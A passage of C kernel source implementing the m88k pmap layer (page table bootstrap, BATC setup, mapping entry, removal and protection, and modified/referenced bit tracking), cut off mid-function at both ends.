(void *)pa, (void *)(pa + sz));
#endif
sz = round_page(pa + sz) - trunc_page(pa);
pa = trunc_page(pa);
npte = m88k_protection(prot) | cmode | PG_W | PG_V;
#ifdef M88110
if (CPU_IS88110 && m88k_protection(prot) != PG_RO)
npte |= PG_M;
#endif
npg = atop(sz);
curpa = pa;
while (npg-- != 0) {
if ((pte = pmap_pte(pmap_kernel(), curpa)) == NULL)
pte = pmap_expand_kmap(curpa, 0);
*pte = npte | curpa;
curpa += PAGE_SIZE;
pmap_kernel()->pm_stats.resident_count++;
pmap_kernel()->pm_stats.wired_count++;
}
if (may_use_batc) {
sz = round_batc(pa + sz) - trunc_batc(pa);
pa = trunc_batc(pa);
batc = BATC_SO | BATC_V;
if ((prot & PROT_WRITE) == 0)
batc |= BATC_PROT;
if (cmode & CACHE_INH)
batc |= BATC_INH;
if (cmode & CACHE_WT)
batc |= BATC_WT;
batc |= BATC_GLOBAL; /* XXX 88110 SP */
for (; sz != 0; sz -= BATC_BLKBYTES, pa += BATC_BLKBYTES) {
/* check if an existing BATC covers this area */
for (batcno = 0; batcno < BATC_MAX; batcno++) {
if ((global_dbatc[batcno] & BATC_V) == 0)
continue;
curpa = (global_dbatc[batcno] <<
(BATC_BLKSHIFT - BATC_PSHIFT)) &
~BATC_BLKMASK;
if (curpa == pa)
break;
}
/*
* If there is a BATC covering this range, reuse it.
* We assume all BATC-possible mappings will use the
* same protection and cacheability settings.
*/
if (batcno != BATC_MAX)
continue;
/* create a new DBATC if possible */
for (batcno = BATC_MAX; batcno != 0; batcno--) {
if (global_dbatc[batcno - 1] & BATC_V)
continue;
global_dbatc[batcno - 1] = batc |
((pa >> BATC_BLKSHIFT) << BATC_PSHIFT) |
((pa >> BATC_BLKSHIFT) << BATC_VSHIFT);
break;
}
}
}
}
/*
* [MD]
* Initialize kernel translation tables.
*/
void
pmap_bootstrap(paddr_t s_rom, paddr_t e_rom)
{
paddr_t s_low, s_text, e_rodata;
unsigned int npdtpg, nsdt, npdt;
unsigned int i;
sdt_entry_t *sdt;
pt_entry_t *pte, template;
paddr_t pa, sdtpa, ptepa;
const struct pmap_table *ptable;
extern void *kernelstart;
extern void *erodata;
virtual_avail = (vaddr_t)avail_end;
s_text = trunc_page((vaddr_t)&kernelstart);
e_rodata = round_page((vaddr_t)&erodata);
/*
* Reserve space for 1:1 memory mapping in supervisor space.
* We need:
* - roundup(avail_end, SDT_SIZE) / SDT_SIZE segment tables;
* these will fit in one page.
* - roundup(avail_end, PDT_SIZE) / PDT_SIZE page tables;
* these will span several pages.
*/
nsdt = roundup(avail_end, (1 << SDT_SHIFT)) >> SDT_SHIFT;
npdt = roundup(avail_end, (1 << PDT_SHIFT)) >> PDT_SHIFT;
DPRINTF(CD_BOOT, ("avail_end %08lx pages %08lx nsdt %08x npdt %08x\n",
avail_end, atop(avail_end), nsdt, npdt));
/*
* Since page tables may need specific cacheability settings,
* we need to make sure they will not end up in the BATC
* mapping the end of the kernel data.
*
* The CMMU initialization code will try, whenever possible, to
* setup 512KB BATC entries to map the kernel text and data,
* therefore platform-specific code is expected to register a
* non-overlapping range of pages (so that their cacheability
* can be controlled at the PTE level).
*
* If there is enough room between the firmware image and the
* beginning of the BATC-mapped region, we will setup the
* initial page tables there (and actually try to setup as many
* second level pages as possible, since this memory is not
* given to the VM system).
*/
npdtpg = atop(round_page(npdt * sizeof(pt_entry_t)));
s_low = trunc_batc(s_text);
if (e_rom == 0)
s_rom = e_rom = PAGE_SIZE;
DPRINTF(CD_BOOT, ("nsdt %d npdt %d npdtpg %d\n", nsdt, npdt, npdtpg));
DPRINTF(CD_BOOT, ("area below the kernel %lx-%lx: %ld pages, need %d\n",
e_rom, s_low, atop(s_low - e_rom), npdtpg + 1));
if (e_rom < s_low && npdtpg + 1 <= atop(s_low - e_rom)) {
sdtpa = e_rom;
ptepa = sdtpa + PAGE_SIZE;
} else {
sdtpa = (paddr_t)uvm_pageboot_alloc(PAGE_SIZE);
ptepa = (paddr_t)uvm_pageboot_alloc(ptoa(npdtpg));
}
sdt = (sdt_entry_t *)sdtpa;
pte = (pt_entry_t *)ptepa;
pmap_kernel()->pm_stab = sdt;
DPRINTF(CD_BOOT, ("kernel sdt %p", sdt));
pa = ptepa;
for (i = nsdt; i != 0; i--) {
*sdt++ = pa | SG_SO | SG_RW | PG_M | SG_V;
pa += PAGE_SIZE;
}
DPRINTF(CD_BOOT, ("-%p\n", sdt));
for (i = (PAGE_SIZE / sizeof(sdt_entry_t)) - nsdt; i != 0; i--)
*sdt++ = SG_NV;
KDASSERT((vaddr_t)sdt == ptepa);
DPRINTF(CD_BOOT, ("kernel pte %p", pte));
/* memory below the kernel image */
for (i = atop(s_text); i != 0; i--)
*pte++ = PG_NV;
/* kernel text and rodata */
pa = s_text;
for (i = atop(e_rodata) - atop(pa); i != 0; i--) {
*pte++ = pa | PG_SO | PG_RO | PG_W | PG_V;
pa += PAGE_SIZE;
}
/* kernel data and symbols */
for (i = atop(avail_start) - atop(pa); i != 0; i--) {
#ifdef MULTIPROCESSOR
*pte++ = pa | PG_SO | PG_RW | PG_M_U | PG_W | PG_V | CACHE_WT;
#else
*pte++ = pa | PG_SO | PG_RW | PG_M_U | PG_W | PG_V;
#endif
pa += PAGE_SIZE;
}
/* regular memory */
for (i = atop(avail_end) - atop(pa); i != 0; i--) {
*pte++ = pa | PG_SO | PG_RW | PG_M_U | PG_V;
pa += PAGE_SIZE;
}
DPRINTF(CD_BOOT, ("-%p, pa %08lx\n", pte, pa));
for (i = (pt_entry_t *)round_page((vaddr_t)pte) - pte; i != 0; i--)
*pte++ = PG_NV;
/* kernel page tables */
pte_cmode = cmmu_pte_cmode();
template = PG_SO | PG_RW | PG_M_U | PG_W | PG_V | pte_cmode;
pa = sdtpa;
pte = (pt_entry_t *)ptepa + atop(pa);
for (i = 1 + npdtpg; i != 0; i--) {
*pte++ = pa | template;
pa += PAGE_SIZE;
}
/*
* Create all the machine-specific mappings.
* XXX This should eventually get done in machdep.c instead of here;
* XXX and on a driver basis on luna88k... If only to be able to grow
* XXX VM_MAX_KERNEL_ADDRESS.
*/
if (e_rom != s_rom) {
s_firmware = s_rom;
l_firmware = e_rom - s_rom;
pmap_map(s_firmware, l_firmware, PROT_READ | PROT_WRITE,
CACHE_INH, FALSE);
}
for (ptable = pmap_table_build(); ptable->size != (vsize_t)-1; ptable++)
if (ptable->size != 0)
pmap_map(ptable->start, ptable->size,
ptable->prot, ptable->cacheability,
ptable->may_use_batc);
/*
* Adjust cache settings according to the hardware we are running on.
*/
kernel_apr = (kernel_apr & ~(CACHE_MASK & ~CACHE_GLOBAL)) |
cmmu_apr_cmode();
#if defined(M88110) && !defined(MULTIPROCESSOR)
if (CPU_IS88110)
kernel_apr &= ~CACHE_GLOBAL;
#endif
userland_apr = (userland_apr & ~CACHE_MASK) | (kernel_apr & CACHE_MASK);
/*
* Switch to using new page tables
*/
pmap_kernel()->pm_count = 1;
pmap_kernel()->pm_apr = sdtpa | kernel_apr;
DPRINTF(CD_BOOT, ("default apr %08x kernel apr %08lx\n",
kernel_apr, sdtpa));
pmap_bootstrap_cpu(cpu_number());
}
/*
* [MD]
* Enable address translation on the current processor.
*/
void
pmap_bootstrap_cpu(cpuid_t cpu)
{
/* Load supervisor pointer to segment table. */
cmmu_set_sapr(pmap_kernel()->pm_apr);
#ifdef PMAPDEBUG
printf("cpu%lu: running virtual\n", cpu);
#endif
cmmu_batc_setup(cpu, kernel_apr & CACHE_MASK);
curcpu()->ci_curpmap = NULL;
}
/*
* [MD]
* Remove firmware mappings when they are no longer necessary.
*/
void
pmap_unmap_firmware()
{
if (l_firmware != 0) {
pmap_kremove(s_firmware, l_firmware);
pmap_update(pmap_kernel());
}
}
/*
* [MI]
* Complete the pmap layer initialization, to be able to manage userland
* pmaps.
*/
void
pmap_init(void)
{
DPRINTF(CD_INIT, ("pmap_init()\n"));
pool_init(&pmappool, sizeof(struct pmap), 0, IPL_NONE, 0,
"pmappl", &pool_allocator_single);
pool_init(&pvpool, sizeof(pv_entry_t), 0, IPL_VM, 0, "pvpl", NULL);
}
/*
* Pmap structure management
*/
/*
* [MI]
* Create a new pmap.
*/
pmap_t
pmap_create(void)
{
pmap_t pmap;
struct vm_page *pg;
paddr_t pa;
pmap = pool_get(&pmappool, PR_WAITOK | PR_ZERO);
/* Allocate the segment table page immediately. */
for (;;) {
pg = uvm_pagealloc(NULL, 0, NULL, UVM_PGA_ZERO);
if (pg != NULL)
break;
uvm_wait(__func__);
}
pa = VM_PAGE_TO_PHYS(pg);
pmap_cache_ctrl(pa, pa + PAGE_SIZE, pte_cmode);
pmap->pm_stab = (sdt_entry_t *)pa;
pmap->pm_apr = pa | userland_apr;
pmap->pm_count = 1;
DPRINTF(CD_CREAT, ("pmap_create() -> pmap %p, pm_stab %lx\n", pmap, pa));
return pmap;
}
/*
* [MI]
* Decreased the pmap reference count, and destroy it when it reaches zero.
*/
void
pmap_destroy(pmap_t pmap)
{
u_int u;
sdt_entry_t *sdt;
paddr_t pa;
DPRINTF(CD_DESTR, ("pmap_destroy(%p)\n", pmap));
if (--pmap->pm_count == 0) {
for (u = SDT_ENTRIES, sdt = pmap->pm_stab; u != 0; sdt++, u--) {
if (SDT_VALID(sdt)) {
pa = *sdt & PG_FRAME;
pmap_cache_ctrl(pa, pa + PAGE_SIZE, CACHE_DFL);
uvm_pagefree(PHYS_TO_VM_PAGE(pa));
}
}
pa = (paddr_t)pmap->pm_stab;
pmap_cache_ctrl(pa, pa + PAGE_SIZE, CACHE_DFL);
uvm_pagefree(PHYS_TO_VM_PAGE(pa));
pool_put(&pmappool, pmap);
}
}
/*
* [MI]
* Increase the pmap reference count.
*/
void
pmap_reference(pmap_t pmap)
{
pmap->pm_count++;
}
/*
* [MI]
* Attempt to regain memory by freeing disposable page tables.
*/
void
pmap_collect(pmap_t pmap)
{
u_int u, v;
sdt_entry_t *sdt;
pt_entry_t *pte;
vaddr_t va;
paddr_t pa;
int s;
DPRINTF(CD_COL, ("pmap_collect(%p)\n", pmap));
s = splvm();
for (sdt = pmap->pm_stab, va = 0, u = SDT_ENTRIES; u != 0;
sdt++, va += (1 << SDT_SHIFT), u--) {
if (!SDT_VALID(sdt))
continue;
pte = sdt_pte(sdt, 0);
for (v = PDT_ENTRIES; v != 0; pte++, v--)
if (pmap_pte_w(pte)) /* wired mappings can't go */
break;
if (v != 0)
continue;
/* found a suitable pte page to reclaim */
pmap_remove_range(pmap, va, va + (1 << SDT_SHIFT));
pa = *sdt & PG_FRAME;
*sdt = SG_NV;
pmap_cache_ctrl(pa, pa + PAGE_SIZE, CACHE_DFL);
uvm_pagefree(PHYS_TO_VM_PAGE(pa));
}
splx(s);
DPRINTF(CD_COL, ("pmap_collect(%p) done\n", pmap));
}
/*
* Virtual mapping/unmapping routines
*/
/*
* [MI]
* Establish a `va' to `pa' translation with protection `prot' in `pmap'.
* The `flags' argument contains the expected usage protection of the
* mapping (and may differ from the currently requested protection), as
* well as a possible PMAP_WIRED flag.
*/
int
pmap_enter(pmap_t pmap, vaddr_t va, paddr_t pa, vm_prot_t prot, int flags)
{
int s;
pt_entry_t *pte, npte;
paddr_t old_pa;
pv_entry_t pv_e, head;
boolean_t wired = (flags & PMAP_WIRED) != 0;
struct vm_page *pg;
DPRINTF(CD_ENT, ("pmap_enter(%p, %lx, %lx, %x, %x)\n",
pmap, va, pa, prot, flags));
npte = m88k_protection(prot);
/*
* Expand pmap to include this pte.
*/
if ((pte = pmap_pte(pmap, va)) == NULL) {
if (pmap == pmap_kernel())
pte = pmap_expand_kmap(va, flags & PMAP_CANFAIL);
else
pte = pmap_expand(pmap, va, flags & PMAP_CANFAIL);
/* will only return NULL if PMAP_CANFAIL is set */
if (pte == NULL) {
DPRINTF(CD_ENT, ("failed (ENOMEM)\n"));
return (ENOMEM);
}
}
/*
* Special case if the physical page is already mapped at this address.
*/
old_pa = ptoa(PG_PFNUM(*pte));
DPRINTF(CD_ENT, ("pmap_enter: old_pa %lx pte %x\n", old_pa, *pte));
pg = PHYS_TO_VM_PAGE(pa);
s = splvm();
if (old_pa == pa) {
/* May be changing its wired attributes or protection */
if (wired && !(pmap_pte_w(pte)))
pmap->pm_stats.wired_count++;
else if (!wired && pmap_pte_w(pte))
pmap->pm_stats.wired_count--;
} else {
/* Remove old mapping from the PV list if necessary. */
if (PDT_VALID(pte))
pmap_remove_pte(pmap, va, pte, NULL, FALSE);
if (pg != NULL) {
/*
* Enter the mapping in the PV list for this
* managed page.
*/
head = pg_to_pvh(pg);
if (head->pv_pmap == NULL) {
/*
* No mappings yet.
*/
head->pv_va = va;
head->pv_pmap = pmap;
head->pv_next = NULL;
pg->mdpage.pv_flags = 0;
} else {
/*
* Add new pv_entry after header.
*/
pv_e = pool_get(&pvpool, PR_NOWAIT);
if (pv_e == NULL) {
/* Invalidate the old pte anyway */
tlb_flush(pmap, va, PG_NV);
if (flags & PMAP_CANFAIL) {
splx(s);
return (ENOMEM);
} else
panic("pmap_enter: "
"pvpool exhausted");
}
pv_e->pv_va = va;
pv_e->pv_pmap = pmap;
pv_e->pv_next = head->pv_next;
head->pv_next = pv_e;
}
}
/*
* And count the mapping.
*/
pmap->pm_stats.resident_count++;
if (wired)
pmap->pm_stats.wired_count++;
} /* if (pa == old_pa) ... else */
npte |= PG_V;
if (wired)
npte |= PG_W;
if (prot & PROT_WRITE) {
/*
* On 88110, do not mark writable mappings as dirty unless we
* know the page is dirty, or we are using the kernel pmap.
*/
if (CPU_IS88110 && pmap != pmap_kernel() &&
pg != NULL && (pg->mdpage.pv_flags & PG_M) == 0)
npte |= PG_U;
else
npte |= PG_M_U;
} else if (prot & PROT_MASK)
npte |= PG_U;
/*
* If outside physical memory, disable cache on this (device) page.
*/
if (pa >= last_addr)
npte |= CACHE_INH;
/*
* Invalidate pte temporarily to avoid being written
* back the modified bit and/or the reference bit by
* any other cpu.
*/
npte |= invalidate_pte(pte) & PG_M_U;
npte |= pa;
*pte = npte;
tlb_flush(pmap, va, npte);
DPRINTF(CD_ENT, ("pmap_enter: new pte %x\n", npte));
/*
* Cache attribute flags
*/
if (pg != NULL) {
if (flags & PROT_WRITE) {
if (CPU_IS88110 && pmap != pmap_kernel())
pg->mdpage.pv_flags |= PG_U;
else
pg->mdpage.pv_flags |= PG_M_U;
} else if (flags & PROT_MASK)
pg->mdpage.pv_flags |= PG_U;
}
splx(s);
return 0;
}
/*
* [MI]
* Fast pmap_enter() version for pmap_kernel() and unmanaged pages.
*/
void
pmap_kenter_pa(vaddr_t va, paddr_t pa, vm_prot_t prot)
{
pt_entry_t *pte, npte;
DPRINTF(CD_ENT, ("pmap_kenter_pa(%lx, %lx, %x)\n", va, pa, prot));
npte = m88k_protection(prot) | PG_W | PG_V;
#ifdef M88110
if (CPU_IS88110 && m88k_protection(prot) != PG_RO)
npte |= PG_M;
#endif
/*
* If outside physical memory, disable cache on this (device) page.
*/
if (pa >= last_addr)
npte |= CACHE_INH;
/*
* Expand pmap to include this pte.
*/
if ((pte = pmap_pte(pmap_kernel(), va)) == NULL)
pte = pmap_expand_kmap(va, 0);
/*
* And count the mapping.
*/
pmap_kernel()->pm_stats.resident_count++;
pmap_kernel()->pm_stats.wired_count++;
invalidate_pte(pte);
npte |= pa;
*pte = npte;
tlb_kflush(va, npte);
}
/*
* [INTERNAL]
* Remove the page at `va' in `pmap', which pte is pointed to by `pte', and
* update the status of the vm_page matching this translation (if this is
* indeed a managed page). Flush the tlb entry if `flush' is nonzero.
*/
void
pmap_remove_pte(pmap_t pmap, vaddr_t va, pt_entry_t *pte, struct vm_page *pg,
boolean_t flush)
{
pt_entry_t opte;
pv_entry_t prev, cur, head;
paddr_t pa;
splassert(IPL_VM);
DPRINTF(CD_RM, ("pmap_remove_pte(%p, %lx, %d)\n", pmap, va, flush));
/*
* Update statistics.
*/
pmap->pm_stats.resident_count--;
if (pmap_pte_w(pte))
pmap->pm_stats.wired_count--;
pa = ptoa(PG_PFNUM(*pte));
/*
* Invalidate the pte.
*/
opte = invalidate_pte(pte) & PG_M_U;
if (flush)
tlb_flush(pmap, va, PG_NV);
if (pg == NULL) {
pg = PHYS_TO_VM_PAGE(pa);
/* If this isn't a managed page, just return. */
if (pg == NULL)
return;
}
/*
* Remove the mapping from the pvlist for
* this physical page.
*/
head = pg_to_pvh(pg);
#ifdef DIAGNOSTIC
if (head->pv_pmap == NULL)
panic("pmap_remove_pte(%p, %p, %p, %p/%p, %d): null pv_list",
pmap, (void *)va, pte, (void *)pa, pg, flush);
#endif
prev = NULL;
for (cur = head; cur != NULL; cur = cur->pv_next) {
if (cur->pv_va == va && cur->pv_pmap == pmap)
break;
prev = cur;
}
if (cur == NULL) {
panic("pmap_remove_pte(%p, %p, %p, %p, %d): mapping for va "
"(pa %p) not in pv list at %p",
pmap, (void *)va, pte, pg, flush, (void *)pa, head);
}
if (prev == NULL) {
/*
* Handler is the pv_entry. Copy the next one
* to handler and free the next one (we can't
* free the handler)
*/
cur = cur->pv_next;
if (cur != NULL) {
*head = *cur;
pool_put(&pvpool, cur);
} else {
head->pv_pmap = NULL;
/*
* This page is no longer in use, and is likely
* to be reused soon; since it may still have
* dirty cache lines and may be used for I/O
* (and risk being invalidated by the bus_dma
* code without getting a chance of writeback),
* we make sure the page gets written back.
*/
pmap_clean_page(pa);
}
} else {
prev->pv_next = cur->pv_next;
pool_put(&pvpool, cur);
}
/* Update saved attributes for managed page */
pg->mdpage.pv_flags |= opte;
}
/*
* [INTERNAL]
* Removes all mappings within the `sva'..`eva' range in `pmap'.
*/
void
pmap_remove_range(pmap_t pmap, vaddr_t sva, vaddr_t eva)
{
vaddr_t va, eseg;
pt_entry_t *pte;
DPRINTF(CD_RM, ("pmap_remove_range(%p, %lx, %lx)\n", pmap, sva, eva));
/*
* Loop through the range in PAGE_SIZE increments.
*/
va = sva;
while (va != eva) {
sdt_entry_t *sdt;
eseg = (va & SDT_MASK) + (1 << SDT_SHIFT);
if (eseg > eva || eseg == 0)
eseg = eva;
sdt = SDTENT(pmap, va);
/* If no segment table, skip a whole segment */
if (!SDT_VALID(sdt))
va = eseg;
else {
pte = sdt_pte(sdt, va);
while (va != eseg) {
if (PDT_VALID(pte))
pmap_remove_pte(pmap, va, pte, NULL,
TRUE);
va += PAGE_SIZE;
pte++;
}
}
}
}
/*
* [MI]
* Removes all mappings within the `sva'..`eva' range in `pmap'.
*/
void
pmap_remove(pmap_t pmap, vaddr_t sva, vaddr_t eva)
{
int s;
KERNEL_LOCK();
s = splvm();
pmap_remove_range(pmap, sva, eva);
splx(s);
KERNEL_UNLOCK();
}
/*
* [MI]
* Fast pmap_remove() version for pmap_kernel() and unmanaged pages.
*/
void
pmap_kremove(vaddr_t va, vsize_t len)
{
vaddr_t e, eseg;
DPRINTF(CD_RM, ("pmap_kremove(%lx, %lx)\n", va, len));
e = va + len;
while (va != e) {
sdt_entry_t *sdt;
pt_entry_t *pte, opte;
eseg = (va & SDT_MASK) + (1 << SDT_SHIFT);
if (eseg > e || eseg == 0)
eseg = e;
sdt = SDTENT(pmap_kernel(), va);
/* If no segment table, skip a whole segment */
if (!SDT_VALID(sdt))
va = eseg;
else {
pte = sdt_pte(sdt, va);
while (va != eseg) {
if (PDT_VALID(pte)) {
/* Update the counts */
pmap_kernel()->pm_stats.resident_count--;
pmap_kernel()->pm_stats.wired_count--;
opte = invalidate_pte(pte);
tlb_kflush(va, PG_NV);
/*
* Make sure the page is written back
* if it was cached.
*/
if ((opte & (CACHE_INH | CACHE_WT)) ==
0)
pmap_clean_page(
ptoa(PG_PFNUM(opte)));
}
va += PAGE_SIZE;
pte++;
}
}
}
}
/*
* [INTERNAL]
* Removes all mappings of managed page `pg'.
*/
void
pmap_remove_page(struct vm_page *pg)
{
pt_entry_t *pte;
pv_entry_t head, pvep;
vaddr_t va;
pmap_t pmap;
int s;
DPRINTF(CD_RMPG, ("pmap_remove_page(%p)\n", pg));
s = splvm();
/*
* Walk down PV list, removing all mappings.
*/
pvep = head = pg_to_pvh(pg);
while (pvep != NULL && (pmap = pvep->pv_pmap) != NULL) {
va = pvep->pv_va;
pte = pmap_pte(pmap, va);
if (pte == NULL || !PDT_VALID(pte)) {
pvep = pvep->pv_next;
continue; /* no page mapping */
}
pmap_remove_pte(pmap, va, pte, pg, TRUE);
pvep = head;
/*
* Do not free any empty page tables,
* leave that for when VM calls pmap_collect().
*/
}
splx(s);
}
/*
* [MI]
* Strengthens the protection of the `sva'..`eva' range within `pmap' to `prot'.
*/
void
pmap_protect(pmap_t pmap, vaddr_t sva, vaddr_t eva, vm_prot_t prot)
{
int s;
pt_entry_t *pte, ap, opte, npte;
vaddr_t va, eseg;
if ((prot & PROT_READ) == 0) {
pmap_remove(pmap, sva, eva);
return;
}
ap = m88k_protection(prot);
s = splvm();
/*
* Loop through the range in PAGE_SIZE increments.
*/
va = sva;
while (va != eva) {
sdt_entry_t *sdt;
eseg = (va & SDT_MASK) + (1 << SDT_SHIFT);
if (eseg > eva || eseg == 0)
eseg = eva;
sdt = SDTENT(pmap, va);
/* If no segment table, skip a whole segment */
if (!SDT_VALID(sdt))
va = eseg;
else {
pte = sdt_pte(sdt, va);
while (va != eseg) {
if (PDT_VALID(pte)) {
/*
* Invalidate pte temporarily to avoid
* the modified bit and/or the
* reference bit being written back by
* any other cpu.
*/
opte = invalidate_pte(pte);
npte = ap | (opte & ~PG_PROT);
*pte = npte;
tlb_flush(pmap, va, npte);
}
va += PAGE_SIZE;
pte++;
}
}
}
splx(s);
}
/*
* [MI]
* Removes the wired state of the page at `va' in `pmap'.
*/
void
pmap_unwire(pmap_t pmap, vaddr_t va)
{
pt_entry_t *pte;
pte = pmap_pte(pmap, va);
if (pmap_pte_w(pte)) {
pmap->pm_stats.wired_count--;
*pte &= ~PG_W;
}
}
/*
* vm_page management routines
*/
/*
* [MI]
* Copies vm_page `srcpg' to `dstpg'.
*/
void
pmap_copy_page(struct vm_page *srcpg, struct vm_page *dstpg)
{
paddr_t src = VM_PAGE_TO_PHYS(srcpg);
paddr_t dst = VM_PAGE_TO_PHYS(dstpg);
DPRINTF(CD_COPY, ("pmap_copy_page(%p,%p) pa %lx %lx\n",
srcpg, dstpg, src, dst));
curcpu()->ci_copypage((vaddr_t)src, (vaddr_t)dst);
if (KERNEL_APR_CMODE == CACHE_DFL)
cmmu_dcache_wb(cpu_number(), dst, PAGE_SIZE);
}
/*
* [MI]
* Clears vm_page `pg'.
*/
void
pmap_zero_page(struct vm_page *pg)
{
paddr_t pa = VM_PAGE_TO_PHYS(pg);
DPRINTF(CD_ZERO, ("pmap_zero_page(%p) pa %lx\n", pg, pa));
curcpu()->ci_zeropage((vaddr_t)pa);
if (KERNEL_APR_CMODE == CACHE_DFL)
cmmu_dcache_wb(cpu_number(), pa, PAGE_SIZE);
}
/*
* [INTERNAL]
* Alters bits in the pte of all mappings of `pg'. For each pte, bits in
* `set' are set and bits not in `mask' are cleared. The flags summary
* at the head of the pv list is modified in a similar way.
*/
void
pmap_changebit(struct vm_page *pg, int set, int mask)
{
pv_entry_t head, pvep;
pt_entry_t *pte, npte, opte;
pmap_t pmap;
int s;
vaddr_t va;
DPRINTF(CD_CBIT, ("pmap_changebit(%p, %x, %x)\n", pg, set, mask));
s = splvm();
/*
* Clear saved attributes (modify, reference)
*/
pg->mdpage.pv_flags &= mask;
head = pg_to_pvh(pg);
if (head->pv_pmap != NULL) {
/* for each listed pmap, update the affected bits */
for (pvep = head; pvep != NULL; pvep = pvep->pv_next) {
pmap = pvep->pv_pmap;
va = pvep->pv_va;
pte = pmap_pte(pmap, va);
/*
* Check for existing and valid pte
*/
if (pte == NULL || !PDT_VALID(pte))
continue; /* no page mapping */
#ifdef PMAPDEBUG
if (ptoa(PG_PFNUM(*pte)) != VM_PAGE_TO_PHYS(pg))
panic("pmap_changebit: pte %08x in pmap %p doesn't point to page %p@%lx",
*pte, pmap, pg, VM_PAGE_TO_PHYS(pg));
#endif
/*
* Update bits
*/
opte = *pte;
npte = (opte | set) & mask;
/*
* Invalidate pte temporarily to avoid the modified bit
* and/or the reference being written back by any other
* cpu.
*/
if (npte != opte) {
invalidate_pte(pte);
*pte = npte;
tlb_flush(pmap, va, npte);
}
}
}
splx(s);
}
/*
* [INTERNAL]
* Checks for `bit' being set in at least one pte of all mappings of `pg'.
* The flags summary at the head of the pv list is checked first, and will
* be set if it wasn't but the bit is found set in one pte.
* Returns TRUE if the bit is found, FALSE if not.
*/
boolean_t
pmap_testbit(struct vm_page *pg, int bit)
{
pv_entry_t head, pvep;
pt_entry_t *pte;
pmap_t pmap;
int s;
DPRINTF(CD_TBIT, ("pmap_testbit(%p, %x): ", pg, bit));
s = splvm();
if (pg->mdpage.pv_flags & bit) {
/* we've already cached this flag for this page,
no use looking further... */
DPRINTF(CD_TBIT, ("cached\n"));
splx(s);
return (TRUE);
}
head = pg_to_pvh(pg);
if (head->pv_pmap != NULL) {
/* for each listed pmap, check modified bit for given page */
for (pvep = head; pvep != NULL; pvep = pvep->pv_next) {
pmap = pvep->pv_pmap;
pte = pmap_pte(pmap, pvep->pv_va);
if (pte == NULL || !PDT_VALID(pte))
continue;
#ifdef PMAPDEBUG
if (ptoa(PG_PFNUM(*pte)) != VM_PAGE_TO_PHYS(pg))
panic("pmap_testbit: pte %08x in pmap %p doesn't point to page %p@%lx",
*pte, pmap, pg, VM_PAGE_TO_PHYS(pg));
#endif
if ((*pte & bit) != 0) {
pg->mdpage.pv_flags |= bit;
DPRINTF(CD_TBIT, ("found\n"));
splx(s);
return (TRUE);
}
}
}
DPRINTF(CD_TBIT, ("not found\n"));
splx(s);
return (FALSE);
}
/*
* [INTERNAL]
* Clears `bit' in the pte of all mapping of `pg', as well as in the flags
* summary at the head of the pv list.
* Returns TRUE if the bit was found set in either a mapping or the summary,
* FALSE if not.
*/
boolean_t
pmap_unsetbit(struct vm_page *pg, int bit)
{
boolean_t rv = FALSE;
pv_entry_t head, pvep;
pt_entry_t *pte, opte, npte;
pmap_t pmap;
int s;
vaddr_t va;
DPRINTF(CD_USBIT, ("pmap_unsetbit(%p, %x): ", pg, bit));
s = splvm();
/*
* Clear saved attributes
*/
if (pg->mdpage.pv_flags & bit) {
pg->mdpage.pv_flags ^= bit;
rv = TRUE;
}
head = pg_to_pvh(pg);
if (head->pv_pmap != NULL) {
/* for each listed pmap, update the specified bit */
for (pvep = head; pvep != NULL; pvep = pvep->pv_next) {
pmap = pvep->pv_pmap;
va = pvep->pv_va;
pte = pmap_pte(pmap, va);
/*
* Check for existing and valid pte
*/
if (pte == NULL || !PDT_VALID(pte))
continue; /* no page mapping */
#ifdef PMAPDEBUG
if (ptoa(PG_PFNUM(*pte)) != VM_PAGE_TO_PHYS(pg))
panic("pmap_unsetbit: pte %08x in pmap %p doesn't point to page %p@%lx",
*pte, pmap, pg, VM_PAGE_TO_PHYS(pg));
#endif
/*
* Update bits
*/
opte = *pte;
if (opte & bit) {
/*
* Invalidate pte temporarily to avoid the
* specified bit being written back by any
* other cpu.
*/
invalidate_pte(pte);
npte = opte ^ bit;
*pte = npte;
tlb_flush(pmap, va, npte);
rv = TRUE;
}
}
}
splx(s);
DPRINTF(CD_USBIT, (rv ? "TRUE\n" : "FALSE\n"));
return (rv);
}
/*
* [MI]
* Checks whether `pg' is dirty.
* Returns TRUE if there is at least one mapping of `pg' with the modified
* bit set in its pte, FALSE if not.
*/
boolean_t
pmap_is_modified(struct vm_page *pg)
{
#ifdef M88110
/*
* Since on 88110 PG_M bit tracking is done in software, we can
* trust the page flags without having to walk the individual
* ptes in case the page flags are behind actual usage.
*/
if (CPU_IS88110) {
boolean_t rc = FALSE;
if (pg->mdpage.pv_flags & PG_M)
rc = TRUE;
DPRINTF(CD_TBIT, ("pmap_is_modified(%p) -> %x\n", pg, rc));
return (rc);
}
#endif
return pmap_testbit(pg, PG_M);
}
/*
* [MI]
* Checks whether `pg' is in use.
* Returns TRUE if there is at least one mapping of `pg' with the used bit
* set in its pte, FALSE if not.
*/
boolean_t
pmap_is_referenced(struct vm_page *pg)
{
return pmap_testbit(pg, PG_U);
}
/*
* [MI]
* Strengthens protection of `pg' to `prot'.
*/
void
pmap_page_protect(struct vm_page *pg, vm_prot_t prot)
{
if ((prot & PROT_READ) == PROT_NONE)
pmap_remove_page(pg);
else if ((prot & PROT_WRITE) == PROT_NONE)
pmap_changebit(pg, PG_RO, ~0);
}
/*
* Miscellaneous routines
*/
/*
* [INTERNAL]
* Writeback the data cache for the given page, on all processors.
*/
void
pmap_clean_page(paddr_t pa)
{
struct cpu_info *ci;
#ifdef MULTIPROCESSOR
CPU_INFO_ITERATOR cpu;
#endif
if (KERNEL_APR_CMODE != CACHE_DFL && USERLAND_APR_CMODE != CACHE_DFL)
return;
#ifdef MULTIPROCESSOR
CPU_INFO_FOREACH(cpu, ci)
#else
ci = curcpu();
#endif
/* CPU_INFO_FOREACH(cpu, ci) */
cmmu_dcache_wb(ci->ci_cpuid, pa, PAGE_SIZE);
}
/*
* [MI]
* Flushes instruction cache for the range `va'..`va'+`len' in proc `p'.
*/
void
pmap_proc_iflush(struct process *pr, vaddr_t va, vsize_t len)
{
pmap_t pmap = vm_map_pmap(&pr->ps_vmspace->vm_map);
paddr_t pa;
vsize_t count;
struct cpu_info *ci;
if (KERNEL_APR_CMODE != CACHE_DFL && USERLAND_APR_CMODE != CACHE_DFL)
return;
while (len != 0) {
count = min(len, PAGE_SIZE - (va & PAGE_MASK));
if (pmap_extract(pmap, va, &pa)) {
#ifdef MULTIPROCESSOR
CPU_INFO_ITERATOR cpu;
CPU_INFO_FOREACH(cpu, ci)
#else
ci = curcpu();
#endif
